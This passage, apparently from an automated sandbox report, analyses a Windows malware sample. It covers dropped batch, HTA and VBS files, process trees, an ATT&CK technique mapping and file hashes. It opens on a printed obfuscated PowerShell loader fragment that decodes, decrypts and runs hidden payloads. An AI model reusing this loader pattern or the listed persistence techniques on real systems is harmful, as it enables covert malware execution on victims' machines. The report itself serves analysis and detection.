([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
6⤵
PID:5936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:5944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1588

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:2868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:4844

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

BITS Jobs

T1197

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
288B

MD5
8ed04759f080c9fa902e560fdb535bb0

SHA1
46ada87c6442dd625092f7bec6941d5acbe82581

SHA256
a00277c4fd206b0aaa0ef3656c48a2a3fdf099fa78b3652707524f24e88c2a15

SHA512
e4c744f965202aafe82fde09a6a17e24cfef76497d4658b336f80735dbf27c6db9f62be517db1b0f9f16070c712505507d8d16ee58a41426422c19caafe5beee

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
1KB

MD5
da55106a71c4b083048f181c9020e405

SHA1
9cc4ee8c95e9bd9fe13bdf22306af2d669241ecf

SHA256
13e94ee00fba14366e57a9cf092436d51bf9a250a6b2c0b7c796ce69c23892c1

SHA512
23396668959ccb06d78381b546392f4348ace1f0151437a38dae62171fd9dc4c424673b47b0bd7b2af1bed08193dcdd50a15f32938cc26883d31750f739763d7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
690B

MD5
04f7e782442b06d3680da16e97f3fa07

SHA1
7a06f080fe1b881cbd3a7da1341073e2d899d621

SHA256
b6459fa73caf6bafa2085a0401803992e3038b4a168cf5f726984b84487e1a63

SHA512
88f12418cebf4c3f267e8d8586a6ac663ab04bab737999543424f3d1b5c80188381edb9f2333f03d113e1994c8d0d469f00862a3eb17fcd20ddd8c5cef2cc7fa

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
42bb0eb4a16960282a79553be895c68f

SHA1
5bf6c149ec9e64733e4e6686f58ee4d0473b62cc

SHA256
4e536b70c03386c4a95bb7151a7b631cf41f870c28c35a6822b9012d6f548b70

SHA512
e549e575f7bba5230ebabbbc50bd38fa7d24b777c6d026d2f90152bde54a78b9d9addb5c899e740a837b5a08f3d67eab70582974af5187ebeb54a1dad0af0a9d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
ec172be6c07925fa5a4b6f287977e25d

SHA1
d9ab919b21250e5e64e823ecabcabe48a50a66b5

SHA256
35364a0fd813174c528a4769d675f6ba2f57d2ee156a3014afe43f2efd0807d2

SHA512
5c5618188f661f5812b63aed9dbedabb8eb0a9831b2dd59c6f301d01cc08937b6c082eb33d62ce69a6515ddf0491c4c00ce045cbaed4d074770e416712520e6d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Filesize
129KB

MD5
e1518d5821ef06df650556c5508e37c1

SHA1
210eae8966b7c2b62abb2a33159667bcc9828aca

SHA256
d2338bda8362a2e427cc36abb115f31bf1a82e964088c4549f87b26b439ad603

SHA512
a9b21bb6800281538d04f4c6acb6d5f473fbcef0ad7473f5f2644f0f9ca83099ba3b1f33232830cc72848a1815482b596a5d27d6cb4b4568d03f898fa2587066

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\LX.exe.log
Filesize
654B

MD5
2cbbb74b7da1f720b48ed31085cbd5b8

SHA1
79caa9a3ea8abe1b9c4326c3633da64a5f724964

SHA256
e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

SHA512
ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
62KB

MD5
e566632d8956997225be604d026c9b39

SHA1
94a9aade75fffc63ed71404b630eca41d3ce130e

SHA256
b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

SHA512
f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
1KB

MD5
3ec0d76d886b2f4b9f1e3da7ce9e2cd7

SHA1
68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea

SHA256
214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5

SHA512
a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
1KB

MD5
e279c9445174a3046b4d9e8f39331639

SHA1
72761c8cb039906f2fd74278fbd5d8b562394a1e

SHA256
b177c06d921e7ea6f3ba8bd5cf950389c0a45bca6df07d1299bd50acd4f5464c

SHA512
fe7029cd4e7b14a9961141dfa7cb911b0773bff74b9b2058a104106011984e31630141c06e749c9f796a41666ea1f53b5f85c32b473219a9eefd4865df2a6a40

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
1KB

MD5
308190dd412ece93c5698e1834f069d1

SHA1
9c956d25b7cf452eb03e34fff5904802361baf57

SHA256
c789cd9e77968272ecb0dcaa89c26ff66f03a57387d38e12cc0d5956fb7af033

SHA512
e62ca8cbf5434f461a8768e8daca18be3e3b4ad0b00ca3d63cc5ec9b41bf3d128039eced07f710324fae650d16102733bc35d2a16a4888fc04ee00fe7978fb11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
20573d05fc1acef706ffbdd4dc9f45dc

SHA1
defd35463b3433657ebb00de76d5f0cd0b81c81b

SHA256
0a2b951533b29655270b941077bbf34ba21a5a59aebaf9948130ff31c7adf808

SHA512
8eca0f79e84f4018dd01d5c24b3f7e3b62a8ed7b186e1d918d4452e8f0c7a66b5e92efb74b76d22339a8bad7818147ee486582b384ca99db31e44e3219daf7b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
2e8eb51096d6f6781456fef7df731d97

SHA1
ec2aaf851a618fb43c3d040a13a71997c25bda43

SHA256
96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

SHA512
0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
3c0fe86517be16d2b0a671148c0274d2

SHA1
bd7a487a037395e9ede9e76b4a455fdf386ba8db

SHA256
5f85aaa0472b8ae98352b7295cd59357e3e585b2299c540e9a8b5848a8d6b302

SHA512
642bc58c0a5682b45056e837be0dc5d1cd8c400f0e73f20d17c19720fb1fdae132b86873100955e9d65f72f1d481704b84c30d440ca53898c6d6d6f106b74f0a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
8b1394bd98c93d68bb4151a8c8c4015b

SHA1
3c5695c58a2186c1a13e70d8de9343f660429a91

SHA256
3d46aa2ace9880ec7c1eb00581078beb3ca2107f343654aa5d5e250c97bf67d8

SHA512
b7fe198d72b322dd2b2badf038821af9ceccae8b506f7475d8c253ea40aef9b0ba50dae223d5251d72a14aec81d025d394d3277576125d03f3e4ec393459a607

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
620b67563d8c316609b85865a60da6d5

SHA1
80e6ec8f02e3c6526d8df9d92f54b11ed04714dc

SHA256
69efa1ad23035335ef51fe4efb4cda1bbb79628e7a4145dd682441925f8170fc

SHA512
5aea916be82f53bc7f6d2f9ef0c33deb23b06816036fb7b3daf4ca17088b5703b7e9f26fa6a79b239d552c4c22ef3416c558080e48247bf5f3487d2fd17ece14

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
a9e9f6d3cc52ae46abf011388d874c00

SHA1
645d0b096c18aff4f16c689024690eb9d6867c22

SHA256
f8dbd09f90ac3eec627448d5a832d2ef8e93eac138b4064958298f28aea334e8

SHA512
a5cc0a7c017eb7e7593f5f2afb6633a195e18b2679b8977ef7b4b6bf9cd3f966d203be411b9ebd9353de426540067ef9e246f5880a8f70ef3179f867cd01e06d

Download Submit
C:\Users\Admin\AppData\Local\Temp\LXDeveloper.exe
Filesize
227KB

MD5
5ea35df19a4a427188a71eaef21e18f9

SHA1
96576fe4d1190f4763dad5b1eadc28cf08a5f514

SHA256
5011f781ee0d9e78eccbc3406df594e40b7565aa5eb07d75404c15205ebfdf57

SHA512
b7ab1a9933a8d7b9e19ecf24c4b0a0ee52b44f6efc60ae564c0581ae205d8c92576478a948fe547fe2fafd9246451480988bb9c7362c260c9c36627749c0fd04

Download Submit
C:\Users\Admin\AppData\Local\Temp\LXLoader.hta
Filesize
1KB

MD5
634d4287e13fdacc66bc03d791c283ee

SHA1
9c716981f3610af98a55c891a2fa4cb471d3499f

SHA256
6f8f8505a3d04ce21351d07a1f43313ac988beb1b157b04f35abbb1715787c48

SHA512
cb78a2a3a39febde803c4a466e5c3526b89247da08f83118b72527d7fabacc6097745d8d650dd0ce36a532e1115ebe8fe6ec0a653e6f5712dce7995e059c5910

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3tjh1c3x.s3v.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_903.vbs
Filesize
124B

MD5
6ef9df44f98aba19215d99a3f57cdec1

SHA1
0241a627b7fbfbe2e04c91170800d2685683af36

SHA256
aa6a61f67f9705b9d7acb850d2356e949827e8a09ff87fbc01df9501ab1d1e4a

SHA512
4471dfba999b0401e0841bd15b293999c4dbd4e02fc72a5dc9685d6b012abb4c40ac1a2feb7a99a75ccb86891f9bed65651d01cf2e08399c4d10350da8f46cb9

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_969.vbs
Filesize
124B

MD5
ee8293eb830dc2a81fa611927b3886b1

SHA1
67a7b86d2a4e6e68e8cd9ff466cea9a243ebd034

SHA256
739ce7bfe2a84997bab1f9bbc6efb2930f2f5fca4d1e2a22dbe66f338829c6a8

SHA512
d4b9be99f301920263b26085a94344abc82c8a593c31afe61de0ceeadc531965dba27f88e99d1ad5794656aecaad8e7def64ee2914124bb4e0e15cf7a8969134

Download Submit
C:\Users\Admin\Downloads\LXStander.bat
Filesize
611KB

MD5
7fc2f81cc1c38aa26c5c7b6b9ad66fec

SHA1
0809b3600344412c7924313bc1d95d9d22903a69

SHA256
1d7494b0fc1b6c2d78b0d7e64835c749ca7204c21c8af09f7893aa7ba1f8b0ef

SHA512
cea796af05da666a4eace521f82d1d8ce4cae6b61a5576f5dc8b014cd85ce4ffb13885b8bbe50e7f20828ab83bc2d99c35fc3473fa2d8e3ef762453480dfec36

Download Submit
\??\pipe\crashpad_4924_QBAGMWAAUHWMXRJB
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/540-210-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/756-170-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1176-158-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1264-214-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1376-164-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1524-211-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1548-161-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1564-162-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1728-171-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1744-167-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1820-159-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/1964-165-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/2464-212-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/3316-160-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/3316-150-0x0000000002960000-0x000000000298A000-memory.dmp

Filesize
168KB

Download
memory/3564-104-0x00007FFF94A90000-0x00007FFF95552000-memory.dmp

Filesize
10.8MB

Download
memory/3564-96-0x0000019DCAA40000-0x0000019DCAA62000-memory.dmp

Filesize
136KB

Download
memory/3564-87-0x00007FFF94A93000-0x00007FFF94A95000-memory.dmp

Filesize
8KB

Download
memory/3564-138-0x00007FFF94A90000-0x00007FFF95552000-memory.dmp

Filesize
10.8MB

Download
memory/3564-107-0x0000019DCAEA0000-0x0000019DCAF14000-memory.dmp

Filesize
464KB

Download
memory/3564-106-0x0000019DCAE20000-0x0000019DCAE28000-memory.dmp

Filesize
32KB

Download
memory/3564-105-0x00007FFF94A90000-0x00007FFF95552000-memory.dmp

Filesize
10.8MB

Download
memory/3564-103-0x0000019DCAE50000-0x0000019DCAE96000-memory.dmp

Filesize
280KB

Download
memory/3564-102-0x00007FFF94A90000-0x00007FFF95552000-memory.dmp

Filesize
10.8MB

Download
memory/3936-163-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

Filesize
64KB

Download
memory/4668-213-0x00000295FB8B0000-0x00000295FB8FA000-memory.dmp

Filesize
296KB

Download
memory/4676-396-0x0000000002480000-0x0000000002490000-memory.dmp

Filesize
64KB

Download
memory/4676-410-0x0000000000BE0000-0x0000000000BF6000-memory.dmp

Filesize
88KB

Download
memory/4676-261-0x0000000000360000-0x000000000039E000-memory.dmp

Filesize
248KB

Download
memory/5920-421-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/5920-422-0x0000000005270000-0x0000000005302000-memory.dmp

Filesize
584KB

Download
memory/5920-423-0x0000000005310000-0x00000000053AC000-memory.dmp

Filesize
624KB

Download
memory/5920-424-0x0000000005960000-0x0000000005F06000-memory.dmp

Filesize
5.6MB

Download
memory/5944-425-0x0000019EE8700000-0x0000019EE8774000-memory.dmp

Filesize
464KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads